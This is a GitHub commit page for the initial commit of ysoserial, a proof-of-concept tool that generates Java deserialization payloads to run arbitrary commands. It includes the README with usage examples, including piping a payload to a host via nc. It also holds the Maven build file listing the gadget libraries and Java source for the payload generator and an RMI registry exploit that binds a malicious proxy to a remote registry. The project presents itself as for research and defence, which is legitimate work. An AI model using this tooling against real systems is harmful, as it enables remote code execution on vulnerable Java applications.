Skip to content

Commit e6565b6

Browse files
frohofffrohoff
committed
init-commit
0 parents  commit e6565b6

25 files changed

+1024
-0
lines changed

‎.gitignore

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
/target
2+
.classpath
3+
.project
4+
.settings/
5+
pwntest

‎.travis.yml

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
language: java
2+
jdk:
3+
- oraclejdk8
4+
- openjdk8
5+
- oraclejdk7
6+
- openjdk7
7+
- openjdk6

‎DISCLAIMER.txt

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
DISCLAIMER
2+
3+
This software has been created purely for the purposes of academic research and
4+
for the development of effective defensive techniques, and is not intended to be
5+
used to attack systems except where explicitly authorized. Project maintainers
6+
are not responsible or liable for misuse of the software. Use responsibly.

‎LICENSE.txt

+22
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
Copyright (c) 2013 Chris Frohoff
2+
3+
MIT License
4+
5+
Permission is hereby granted, free of charge, to any person obtaining
6+
a copy of this software and associated documentation files (the
7+
"Software"), to deal in the Software without restriction, including
8+
without limitation the rights to use, copy, modify, merge, publish,
9+
distribute, sublicense, and/or sell copies of the Software, and to
10+
permit persons to whom the Software is furnished to do so, subject to
11+
the following conditions:
12+
13+
The above copyright notice and this permission notice shall be
14+
included in all copies or substantial portions of the Software.
15+
16+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
19+
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
20+
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
21+
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
22+
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

‎README.md

+66
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
2+
# ysoserial
3+
4+
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
5+
6+
![](https://github.com/frohoff/ysoserial/blob/master/ysoserial.png)
7+
8+
## Description
9+
10+
ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
11+
libraries. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
12+
serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes
13+
this data, the chain will automatically be invoked and cause the command to be executed on the application host.
14+
15+
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having
16+
gadgets on the classpath.
17+
18+
## Disclaimer
19+
20+
This software has been created purely for the purposes of academic research and
21+
for the development of effective defensive techniques, and is not intended to be
22+
used to attack systems except where explicitly authorized. Project maintainers
23+
are not responsible or liable for misuse of the software. Use responsibly.
24+
25+
## Usage
26+
27+
```shell
28+
$ java -jar ysoserial-0.0.1-all.jar
29+
Y SO SERIAL?
30+
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
31+
Available payload types:
32+
CommonsCollections1
33+
CommonsCollections2
34+
Groovy1
35+
Spring1
36+
```
37+
38+
## Examples
39+
40+
```shell
41+
$ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 calc.exe | xxd
42+
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
43+
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
44+
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
45+
...
46+
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
47+
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
48+
0000570: 0078 7071 007e 003a .xpq.~.:
49+
50+
$ java -jar ysoserial-0.0.1-all.jar Groovy1 calc.exe > groovypayload.bin
51+
$ nc 10.10.10.10 < groovypayload.bin
52+
53+
$ java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
54+
```
55+
56+
## Installation
57+
58+
1. Download the latest jar from the "releases" section.
59+
60+
## Contributing
61+
62+
1. Fork it
63+
2. Create your feature branch (`git checkout -b my-new-feature`)
64+
3. Commit your changes (`git commit -am 'Add some feature'`)
65+
4. Push to the branch (`git push origin my-new-feature`)
66+
5. Create new Pull Request

‎pom.xml

+125
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
5+
<groupId>ysoserial</groupId>
6+
<artifactId>ysoserial</artifactId>
7+
<version>0.0.1-SNAPSHOT</version>
8+
<packaging>jar</packaging>
9+
10+
<name>ysoserial</name>
11+
<url>http://maven.apache.org</url>
12+
13+
<properties>
14+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
15+
</properties>
16+
17+
<build>
18+
<plugins>
19+
<plugin>
20+
<groupId>org.apache.maven.plugins</groupId>
21+
<artifactId>maven-compiler-plugin</artifactId>
22+
<version>3.2</version>
23+
<configuration>
24+
<source>1.5</source>
25+
<target>1.5</target><!-- maximize compatibility -->
26+
</configuration>
27+
</plugin>
28+
<plugin>
29+
<artifactId>maven-assembly-plugin</artifactId>
30+
<configuration>
31+
<finalName>${project.artifactId}-${project.version}-all</finalName>
32+
<appendAssemblyId>false</appendAssemblyId>
33+
<archive>
34+
<manifest>
35+
<mainClass>ysoserial.GeneratePayload</mainClass>
36+
</manifest>
37+
</archive>
38+
<descriptorRefs>
39+
<descriptorRef>jar-with-dependencies</descriptorRef>
40+
</descriptorRefs>
41+
</configuration>
42+
<executions>
43+
<execution>
44+
<id>make-assembly</id>
45+
<phase>package</phase>
46+
<goals>
47+
<goal>single</goal>
48+
</goals>
49+
</execution>
50+
</executions>
51+
</plugin>
52+
</plugins>
53+
</build>
54+
55+
<dependencies>
56+
57+
<!-- testing depedencies -->
58+
59+
<dependency>
60+
<groupId>junit</groupId>
61+
<artifactId>junit</artifactId>
62+
<version>4.12</version>
63+
<scope>test</scope>
64+
</dependency>
65+
<dependency>
66+
<groupId>org.mockito</groupId>
67+
<artifactId>mockito-core</artifactId>
68+
<version>1.10.19</version>
69+
<scope>test</scope>
70+
</dependency>
71+
<dependency>
72+
<groupId>com.github.stefanbirkner</groupId>
73+
<artifactId>system-rules</artifactId>
74+
<version>1.8.0</version>
75+
<scope>test</scope>
76+
</dependency>
77+
78+
<!-- non-gadget dependencies -->
79+
80+
<dependency>
81+
<groupId>org.reflections</groupId>
82+
<artifactId>reflections</artifactId>
83+
<version>0.9.9</version>
84+
</dependency>
85+
<dependency>
86+
<groupId>org.jboss.shrinkwrap.resolver</groupId>
87+
<artifactId>shrinkwrap-resolver-depchain</artifactId>
88+
<version>2.1.1</version>
89+
<type>pom</type>
90+
</dependency>
91+
92+
<!-- gadget dependecies -->
93+
94+
<dependency>
95+
<groupId>commons-collections</groupId>
96+
<artifactId>commons-collections</artifactId>
97+
<version>3.1</version>
98+
</dependency>
99+
<dependency>
100+
<groupId>org.apache.commons</groupId>
101+
<artifactId>commons-collections4</artifactId>
102+
<version>4.0</version>
103+
</dependency>
104+
<dependency>
105+
<groupId>org.apache.commons</groupId>
106+
<artifactId>commons-lang3</artifactId>
107+
<version>3.1</version>
108+
</dependency>
109+
<dependency>
110+
<groupId>org.codehaus.groovy</groupId>
111+
<artifactId>groovy</artifactId>
112+
<version>2.3.9</version>
113+
</dependency>
114+
<dependency>
115+
<groupId>org.springframework</groupId>
116+
<artifactId>spring-core</artifactId>
117+
<version>4.1.4.RELEASE</version>
118+
</dependency>
119+
<dependency>
120+
<groupId>org.springframework</groupId>
121+
<artifactId>spring-beans</artifactId>
122+
<version>4.1.4.RELEASE</version>
123+
</dependency>
124+
</dependencies>
125+
</project>

‎src/main/java/ysoserial/Deserialize.java

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package ysoserial;
2+
3+
import java.io.File;
4+
import java.io.FileInputStream;
5+
import java.io.IOException;
6+
import java.io.InputStream;
7+
8+
import ysoserial.payloads.util.Serializables;
9+
10+
/*
11+
* for testing payloads across process boundaries
12+
*/
13+
public class Deserialize {
14+
public static void main(final String[] args) throws ClassNotFoundException, IOException {
15+
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
16+
Serializables.deserialize(in);
17+
}
18+
}

‎src/main/java/ysoserial/GeneratePayload.java

+86
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
package ysoserial;
2+
3+
import java.io.ObjectOutputStream;
4+
import java.util.ArrayList;
5+
import java.util.Collection;
6+
import java.util.Collections;
7+
import java.util.Comparator;
8+
import java.util.List;
9+
import java.util.Set;
10+
11+
import org.reflections.Reflections;
12+
13+
import ysoserial.payloads.ObjectPayload;
14+
15+
@SuppressWarnings("rawtypes")
16+
public class GeneratePayload {
17+
18+
private static final int INTERNAL_ERROR_CODE = 70;
19+
private static final int USAGE_CODE = 64;
20+
21+
public static void main(final String[] args) {
22+
if (args.length != 2) {
23+
printUsage();
24+
System.exit(USAGE_CODE);
25+
}
26+
final String payloadType = args[0];
27+
final String command = args[1];
28+
29+
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
30+
if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) {
31+
System.err.println("Invalid payload type '" + payloadType + "'");
32+
printUsage();
33+
System.exit(USAGE_CODE);
34+
}
35+
36+
try {
37+
final ObjectPayload payload = payloadClass.newInstance();
38+
final Object object = payload.getObject(command);
39+
final ObjectOutputStream objOut = new ObjectOutputStream(System.out);
40+
objOut.writeObject(object);
41+
} catch (Exception e) {
42+
System.err.println("Error while generating or serializing payload");
43+
e.printStackTrace();
44+
System.exit(INTERNAL_ERROR_CODE);
45+
}
46+
System.exit(0);
47+
}
48+
49+
@SuppressWarnings("unchecked")
50+
private static Class<? extends ObjectPayload> getPayloadClass(final String className) {
51+
try {
52+
return (Class<? extends ObjectPayload>) Class.forName(className);
53+
} catch (Exception e1) {
54+
}
55+
try {
56+
return (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
57+
+ ".payloads." + className);
58+
} catch (Exception e2) {
59+
}
60+
return null;
61+
}
62+
63+
private static void printUsage() {
64+
System.err.println("Y SO SERIAL?");
65+
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");
66+
System.err.println("\tAvailable payload types:");
67+
final List<Class<? extends ObjectPayload>> payloadClasses =
68+
new ArrayList<Class<? extends ObjectPayload>>(getPayloadClasses());
69+
Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
70+
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
71+
System.err.println("\t\t" + payloadClass.getSimpleName());
72+
}
73+
}
74+
75+
// get payload classes by classpath scanning
76+
private static Collection<Class<? extends ObjectPayload>> getPayloadClasses() {
77+
final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName());
78+
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
79+
return payloadTypes;
80+
}
81+
82+
public static class ToStringComparator implements Comparator<Object> {
83+
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
84+
}
85+
86+
}

‎src/main/java/ysoserial/RMIRegistryExploit.java

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
package ysoserial;
2+
3+
import java.rmi.Remote;
4+
import java.rmi.registry.LocateRegistry;
5+
import java.rmi.registry.Registry;
6+
7+
import ysoserial.payloads.CommonsCollections1;
8+
import ysoserial.payloads.ObjectPayload;
9+
import ysoserial.payloads.util.Gadgets;
10+
11+
/*
12+
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader
13+
*/
14+
public class RMIRegistryExploit {
15+
public static void main(String[] args) throws Exception {
16+
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
17+
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
18+
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
19+
Object payload = payloadClass.newInstance().getObject(args[3]);
20+
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
21+
registry.bind("pwned", remote);
22+
}
23+
}

0 commit comments

Comments
 (0)